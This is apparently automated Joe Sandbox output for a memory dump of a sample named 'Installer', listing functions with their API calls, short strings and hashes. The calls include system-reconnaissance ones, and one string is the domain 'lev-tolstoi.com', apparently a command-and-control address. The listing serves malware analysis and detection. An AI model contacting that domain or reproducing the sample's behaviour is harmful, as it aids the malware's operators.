Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID: CurrentFreeLibraryProcess$ExitFolderForegroundPathSpecialThreadWindow
String ID:
API String ID: 3676751680-0
Opcode ID: 21594b46850de91b9d7f1fcd097cf3db95484819d6bbf04f7650915a64ff1750
Instruction ID: e8cd0a5b1b6602d458645168f9022d0593551acc0d95c8fd4e55ee87bae5c504
Opcode Fuzzy Hash: 21594b46850de91b9d7f1fcd097cf3db95484819d6bbf04f7650915a64ff1750
Instruction Fuzzy Hash: 82418DB3B003004BD3186F798D15766B6C79BD5320F1E863EA895EB3DAEE789C054245

Function 0042C9D4 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 362
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

OEpz, xrefs: 0042CF0A
QFD3, xrefs: 0042CCBF
rj, xrefs: 0042CDAD

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID:
String ID: OEpz$QFD3$rj
API String ID: 0-3969983622
Opcode ID: 578df49152ec6977c0559d99d18d55f56bbe5c8ef7ba284d461e40d52f2b5091
Instruction ID: 76e3eab801afa7748f5422476167f4aa7a66d4a79f7629f79f88f53e2f4321bc
Opcode Fuzzy Hash: 578df49152ec6977c0559d99d18d55f56bbe5c8ef7ba284d461e40d52f2b5091
Instruction Fuzzy Hash: AEA1047060C3D18ED3298F2994A03BBBFE19FA7304F58586EE0C997392D7798905CB56

Function 0042CCA2 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 334
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetPhysicallyInstalledSystemMemory.KERNEL32(?), ref: 0042CD9C

Strings

OEpz, xrefs: 0042CF0A
QFD3, xrefs: 0042CCBF
rj, xrefs: 0042CDAD

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID: OEpz$QFD3$rj
API String ID: 3960555810-3969983622
Opcode ID: 9168ce1b262d27504dede28803dc24f1866231d49f4ce974e861d94e91dd2d20
Instruction ID: 843eda79264cd3607644ba2c6e9f51ffbc4283e049ce5635c5debb878d24e918
Opcode Fuzzy Hash: 9168ce1b262d27504dede28803dc24f1866231d49f4ce974e861d94e91dd2d20
Instruction Fuzzy Hash: E591157060C3D18ED3298F2994A03EBBFE1AF97304F58486EE0C997392D7798905CB56

Function 00409370 Relevance: 5.4, Strings: 4, Instructions: 371
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

g*V9, xrefs: 00409500
4EAC7AD5F775DFB71441EDD8E05CE3DA, xrefs: 0040943E
,-, xrefs: 00409763
T, xrefs: 004095C1

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID:
String ID: ,-$4EAC7AD5F775DFB71441EDD8E05CE3DA$T$g*V9
API String ID: 0-1073015448
Opcode ID: 86bf961c395ed7b7e07ea05ad14cc24c126058a6d268732374085c02ea76dcbd
Instruction ID: a0ce2b4ea5d82b238d504246632dfdecb4304a147a1c54da40f31a80d191d4bf
Opcode Fuzzy Hash: 86bf961c395ed7b7e07ea05ad14cc24c126058a6d268732374085c02ea76dcbd
Instruction Fuzzy Hash: ADC135B16083408BD718CF35C891A6BBBE5EFC2304F14496DE5D29B392DB38D90ACB56

Function 00433B7A Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 108
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemMetrics.USER32 ref: 00433BC8
GetSystemMetrics.USER32 ref: 00433BD7

Strings

, xrefs: 00433CAB

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-3916222277
Opcode ID: 66b7d6ddbbaea78e25287b155da9d8360f6552616883599e2b0a62f41b2dcca0
Instruction ID: 01f348f677623f89764fea340cc94f5095fd4e31d5590f1ad9612ee75e4100da
Opcode Fuzzy Hash: 66b7d6ddbbaea78e25287b155da9d8360f6552616883599e2b0a62f41b2dcca0
Instruction Fuzzy Hash: E05172B4D142089FCB40EFACD98569DBBF0BB88300F11852AE498E7310D774A984CF96

Function 0040D7CF Relevance: 4.8, APIs: 1, Strings: 2, Instructions: 338COMMON

Download Yara Rule

APIs

CoUninitialize.COMBASE ref: 0040D7DF

Strings

x~, xrefs: 0040DA4A
lev-tolstoi.com, xrefs: 0040DB91

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID: Uninitialize
String ID: lev-tolstoi.com$x~
API String ID: 3861434553-3419122072
Opcode ID: e28907237b4d3a91ec5e118e2f9312d913e820380ba1de72427fa36cd9a4d49b
Instruction ID: 6343ddfc659097a6b1acf70417bf2a81d4440c70e9b0de2d3dfcc7ed75506984
Opcode Fuzzy Hash: e28907237b4d3a91ec5e118e2f9312d913e820380ba1de72427fa36cd9a4d49b
Instruction Fuzzy Hash: 32B146B1A047808FD319CF2AC4E0663BFA2EF9730571981ADC8D65F79AC7399806CB55

Function 00410A57 Relevance: 2.4, APIs: 1, Instructions: 885COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf30f5bda6a5b1f22e383a34f2d374bcf5c2a5ffd3afd8456c42b1e5df0951ff
Instruction ID: 72290171dc64d7e4f27391859bf3f99b55d54925dc59b80e2ac98bdd845427b2
Opcode Fuzzy Hash: bf30f5bda6a5b1f22e383a34f2d374bcf5c2a5ffd3afd8456c42b1e5df0951ff
Instruction Fuzzy Hash: D472E575A04B408FD714DF38C5853AABBE2AF99314F088A3ED5EB87791D678E445CB02

Function 0043EBA0 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(00441BF8,00000002,0000002C,?,?,00000018,?,00000000,?,?,?,?,00000000,00000000), ref: 0043EBCE

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 0043F39E Relevance: 1.4, Strings: 1, Instructions: 190COMMON

Download Yara Rule

Strings

@, xrefs: 0043F4EA

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID: InitializeThunk
String ID: @
API String ID: 2994545307-2766056989
Opcode ID: d029721911ace6ae7146d635cd2610f792fc7e2dd43cd493b89f1baae024793e
Instruction ID: ac99ad69f4e146c84b4f67b549d234f9fa435a805a225365c348144745e62db1
Opcode Fuzzy Hash: d029721911ace6ae7146d635cd2610f792fc7e2dd43cd493b89f1baae024793e
Instruction Fuzzy Hash: 9C51BEB4D112159BEB14CF54C8907BFB7B2FFA9315F04612DD4416B3A0EB785C0A8B98

Function 00441DA0 Relevance: 1.4, Strings: 1, Instructions: 125COMMON

Download Yara Rule

Strings

@, xrefs: 00441E51

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID: InitializeThunk
String ID: @
API String ID: 2994545307-2766056989
Opcode ID: 00ccdfaef0cf493359b405ba2665aa19c664aa536cebf78614738aaa438344e7
Instruction ID: 65ca1ec6d4672f8839795e63c8614bf8e8fa17c57707b6a32643269015e7e6e9
Opcode Fuzzy Hash: 00ccdfaef0cf493359b405ba2665aa19c664aa536cebf78614738aaa438344e7
Instruction Fuzzy Hash: 9A4158B49083109BEB10CF24D88072BB7E1FF99368F24852DEA88573A1E7389D44C7C6

Function 00440CE0 Relevance: 1.3, Strings: 1, Instructions: 97COMMON

Download Yara Rule

Strings

@, xrefs: 00440D49

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID: InitializeThunk
String ID: @
API String ID: 2994545307-2766056989
Opcode ID: b277768eaef66f0637a864381fd791a7c7a7d3d97be0c2acc1eb4938501a7204
Instruction ID: 9fac65509ee92f571f5b79e95c1ad94962471f478490a82abc777c74c6c74bd9
Opcode Fuzzy Hash: b277768eaef66f0637a864381fd791a7c7a7d3d97be0c2acc1eb4938501a7204
Instruction Fuzzy Hash: 9A31EEB18083049BD314DF98D8C066BBBF5EB99314F14892DE79987280E335A818CB9A

Function 00440E00 Relevance: .3, Instructions: 275COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 9b8b0fe984b0c526368686a946928a16b95041f210f520b4daf9bb1128f79edd
Instruction ID: c62094c7f2aec0b4591fe89b4ffec96fa28a786c068cd393fffb3f8dac1334b7
Opcode Fuzzy Hash: 9b8b0fe984b0c526368686a946928a16b95041f210f520b4daf9bb1128f79edd
Instruction Fuzzy Hash: 0D7127756082419BEB24DF28C890A3FB3E2EFD9750F19C42EE68587365E73498609786

Function 00439490 Relevance: .2, Instructions: 197COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 76f77a49fba37e77a617a0d652d585f641a783687e7745c1783b0e6500cdef52
Instruction ID: 6b3e4b7f11ac291a21e261308eef6cd7443abca3de393b842f6f559da3e6bac2
Opcode Fuzzy Hash: 76f77a49fba37e77a617a0d652d585f641a783687e7745c1783b0e6500cdef52
Instruction Fuzzy Hash: 8051CE263492116BD7018B25CC81A7BB7EAE7DE360F14952EE5C083342C2BCDC82D79E

Function 0040B79B Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5f67c24f99cd3bc66bd5b873502f9be22687b740bcac6bb5ea83f9132e44f2e
Instruction ID: 006929160d69d297b0fade613808cb138237ee9c33cbc0bff183a40fe4272359
Opcode Fuzzy Hash: a5f67c24f99cd3bc66bd5b873502f9be22687b740bcac6bb5ea83f9132e44f2e
Instruction Fuzzy Hash: 48F024796093805BD348CF34DCE1A6BBBA6E792608F05653CE58293290CA21DC598A4D

Function 0042C3AE Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?), ref: 0042C3E5
GetComputerNameExA.KERNEL32(00000006,-!B,00000100), ref: 0042C4AD

Strings

tidc, xrefs: 0042C40B
-!B, xrefs: 0042C45E

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID: ComputerFreeLibraryName
String ID: -!B$tidc
API String ID: 2904949787-476040656
Opcode ID: 57dd9652ca8a2e1dfdf703eb478245f04d1e764e2e6b3a4a6fe835d72092e874
Instruction ID: 0cb94904c914ad7ae8bd8e1ac9fe588995fa1e3a88885b05c0f925f6698cc2a9
Opcode Fuzzy Hash: 57dd9652ca8a2e1dfdf703eb478245f04d1e764e2e6b3a4a6fe835d72092e874
Instruction Fuzzy Hash: E321F17420C3918AD7218F39D8507EBBBE6ABE6304F94885ED0C8C7292DA798506C716

Function 0042C3AC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 71
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?), ref: 0042C3E5
GetComputerNameExA.KERNEL32(00000006,-!B,00000100), ref: 0042C4AD

Strings

tidc, xrefs: 0042C40B
-!B, xrefs: 0042C45E

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID: ComputerFreeLibraryName
String ID: -!B$tidc
API String ID: 2904949787-476040656
Opcode ID: 162db42e1e998b1f12c2b9f51427277601aaff401d5d9aca3582506ac13c7d85
Instruction ID: 36f598f07a78be95229329e16d831615469c789e38aad443987067daf5129e6e
Opcode Fuzzy Hash: 162db42e1e998b1f12c2b9f51427277601aaff401d5d9aca3582506ac13c7d85
Instruction Fuzzy Hash: 331136756083908BD720CF35E8407ABBBE6ABD6304F84846ED0C8C7261DF398405C706

Function 0040C5B6 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeEx.OLE32(00000000,00000002), ref: 0040C5BA
CoInitializeEx.COMBASE(00000000,00000002), ref: 0040C6FF

Strings

E)ov, xrefs: 0040C70B

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID: Initialize
String ID: E)ov
API String ID: 2538663250-3776031005
Opcode ID: e7a95b8e5ff17603cc907fcbc2df53191815e2a062ed42e83665db1e0f35c6a2
Instruction ID: 7eb1427ce90a185cc1fa67b5dec7511066f0963e0e52bfde8587bb9a189e8e04
Opcode Fuzzy Hash: e7a95b8e5ff17603cc907fcbc2df53191815e2a062ed42e83665db1e0f35c6a2
Instruction Fuzzy Hash: 6941C8B4C10B40AFD370EF39990B7137EB4AB06250F504B1DF9EA866D4E631A4198BD7

Function 0042C332 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 70
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNEL32(00000006,-!B,00000100), ref: 0042C4AD

Strings

tidc, xrefs: 0042C40B
-!B, xrefs: 0042C45E

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID: ComputerName
String ID: -!B$tidc
API String ID: 3545744682-476040656
Opcode ID: 61886e391caa53043cf8b7eeebbfdde2549436c7387b1184654fa6bc82ce0717
Instruction ID: cb59f9437d4d6314ce5892b09104ceaf55f68d0d243f063b9a53ef71cd653c73
Opcode Fuzzy Hash: 61886e391caa53043cf8b7eeebbfdde2549436c7387b1184654fa6bc82ce0717
Instruction Fuzzy Hash: BA11037561C390CBD721CF35D8907EBB7E6ABDA304F94886EC0C8C7255EE7985068716

Function 0042C4DA Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 70COMMON

Download Yara Rule

APIs

GetComputerNameExA.KERNEL32(00000005,?,00000100), ref: 0042C594

Strings

/CWl, xrefs: 0042C545
m, xrefs: 0042C52F

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID: ComputerName
String ID: /CWl$m
API String ID: 3545744682-3646203745
Opcode ID: 7a167722f522b369fb5a67656a2b11fc2d91befdf65f4b5365c50abbd1630efa
Instruction ID: 03530a0ce53fbf409c5d07d4627929f5f9734d687145533c51ec677908ed519b
Opcode Fuzzy Hash: 7a167722f522b369fb5a67656a2b11fc2d91befdf65f4b5365c50abbd1630efa
Instruction Fuzzy Hash: 19119D3010C7E19ADB319B3894687FBBBE4AF97300F5809ADC0CDC7292D77894458B96

Function 0042C4D1 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 48COMMON

Download Yara Rule

APIs

GetComputerNameExA.KERNEL32(00000005,?,00000100), ref: 0042C594

Strings

/CWl, xrefs: 0042C545
m, xrefs: 0042C52F

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID: ComputerName
String ID: /CWl$m
API String ID: 3545744682-3646203745
Opcode ID: 949d0f20e82d11914490ce482742be9fe114ad8304adfa35962e6676036ca1e9
Instruction ID: e0895b3182d1dc6c25a11d8008f41e73b737397a8b3a12be8f13edf20661ff36
Opcode Fuzzy Hash: 949d0f20e82d11914490ce482742be9fe114ad8304adfa35962e6676036ca1e9
Instruction Fuzzy Hash: 1201807010C7E18BDB319B34A8687FBB7E4AB96310F28096DC0CDC7291D77494459B56

Function 0043ECE8 Relevance: 1.5, APIs: 1, Instructions: 38COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 0043ED37

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: a5036223926f76e7a30bb82d8b41372fba638fb8ce1a419d4bb5bda1a50e89be
Instruction ID: c78e23977c3e2a35fed25d62a8fd294347c45f883251edd20cfe32e08262873d
Opcode Fuzzy Hash: a5036223926f76e7a30bb82d8b41372fba638fb8ce1a419d4bb5bda1a50e89be
Instruction Fuzzy Hash: AFF0E2B09445D48BDB00CF7AAC593AA37A0EB56305F241975E112D72A1EB3898528B0D

Function 0043EB40 Relevance: 1.5, APIs: 1, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(?,00000000,?,?,?,?,0040B2E9,?,00000001), ref: 0043EB72

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: cfbf4a6718c87aec0984e55126ec68d7d5da04f3355e97993dcb15881ca12bd3
Instruction ID: f8d085a32fc5b2999584d7c69e937369889b9cf04708eea92d38761de7c40dc4
Opcode Fuzzy Hash: cfbf4a6718c87aec0984e55126ec68d7d5da04f3355e97993dcb15881ca12bd3
Instruction Fuzzy Hash: FDE02B72905210EBD301AF357C06F177A64AFCA715F050C36F505E2152D638F81196AF

Function 00431FE2 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 00432028

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 0601404d5c011c4097f442398f72a59a3fcd5b637d74b6bd99cb2993c6c4fcc6
Instruction ID: f5617d7eab011253af39c7223b5d4b47f89a1495823ff6e5c490b642b0bf52d7
Opcode Fuzzy Hash: 0601404d5c011c4097f442398f72a59a3fcd5b637d74b6bd99cb2993c6c4fcc6
Instruction Fuzzy Hash: 94F067B4508701CFD714DF29D5A871BBBF0FB84304F11891DE4999B290C7B9A958CF82

Function 00430412 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 00430457

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 0b4ce9226a80c191448de904934235e090dea553ac8c548883bf7eee67a76e56
Instruction ID: edea177d1479d643d5abc38f34b971a966137ca73a35f0b7da0467f95eeb9627
Opcode Fuzzy Hash: 0b4ce9226a80c191448de904934235e090dea553ac8c548883bf7eee67a76e56
Instruction Fuzzy Hash: 61F098B450A7018FE354DF28D4A8B1BBBF0FB85314F10891CE5A98B390CBB59948CF86

Function 0040C73B Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0040C74D

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: 4a533f3d69b86a9f98a1958157cd7cacc4402abbb5c7b231e86568349e28ee20
Instruction ID: d2d1222bed764c505e01a7a437c987e67b96d2d96dffea12848baf7fbc3a0441
Opcode Fuzzy Hash: 4a533f3d69b86a9f98a1958157cd7cacc4402abbb5c7b231e86568349e28ee20
Instruction Fuzzy Hash: 20E0ECB57A430067FAAC6B14DD22F2521555783B20F35422CA612BD6E4C9942502461C

Function 0043ED29 Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 0043ED37

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: a9ffe737249dc3e0122e0f7b10e8a54413ea6789124a50639fd91797d931d788
Instruction ID: e9d83bbf03ffa0495804572a0f9332504b97f5da304552063f637eff08c1ad84
Opcode Fuzzy Hash: a9ffe737249dc3e0122e0f7b10e8a54413ea6789124a50639fd91797d931d788
Instruction Fuzzy Hash: 06E012F9D401548FCB04DF64FC955243374FB562057144439E112C3271D735E522CB59

Function 0043CAF2 Relevance: 1.5, APIs: 1, Instructions: 11memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000), ref: 0043CB0B

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 5a61d3da357a9b9377e023cb1afacc8d5594f4b24d9fa0354fd77178c021c893
Instruction ID: 1226c4ec29f38b57e24691680627c35296be4bb29b2a26d95288c068be923f2f
Opcode Fuzzy Hash: 5a61d3da357a9b9377e023cb1afacc8d5594f4b24d9fa0354fd77178c021c893
Instruction Fuzzy Hash: BAC08C70141122EBD3102F15BC0BB963A10AF01312F0208B2B0006D0B2CA78ECB0C6C8

Function 0043CAC0 Relevance: 1.5, APIs: 1, Instructions: 9memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,B19801D9,004086F7,B4B7D921), ref: 0043CAD0

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: fc5eda2e49f68f0e30b130f1320f09b628e5b9bd0ed49f4e6fdc7f947bd58373
Instruction ID: 562293d3e3569241bb9a478438e2c4c3206b523b80c2934943ed8cc9fbbd0605
Opcode Fuzzy Hash: fc5eda2e49f68f0e30b130f1320f09b628e5b9bd0ed49f4e6fdc7f947bd58373
Instruction Fuzzy Hash: 76C04C71445121AAD6102B15EC09B867F54AF45751F014095B104660B286B0EC928AD8

Non-executed Functions

Function 00419C90 Relevance: 18.8, APIs: 2, Strings: 8, Instructions: 1349COMMON

Download Yara Rule

APIs

Part of subcall function 0043EBA0: LdrInitializeThunk.NTDLL(00441BF8,00000002,0000002C,?,?,00000018,?,00000000,?,?,?,?,00000000,00000000), ref: 0043EBCE

FreeLibrary.KERNEL32(?), ref: 0041A269
FreeLibrary.KERNEL32(?), ref: 0041A2DE

Strings

XY, xrefs: 00419FF6
54+*, xrefs: 0041AA2B
~Q6S, xrefs: 00419FE6
2E'G, xrefs: 00419FCE
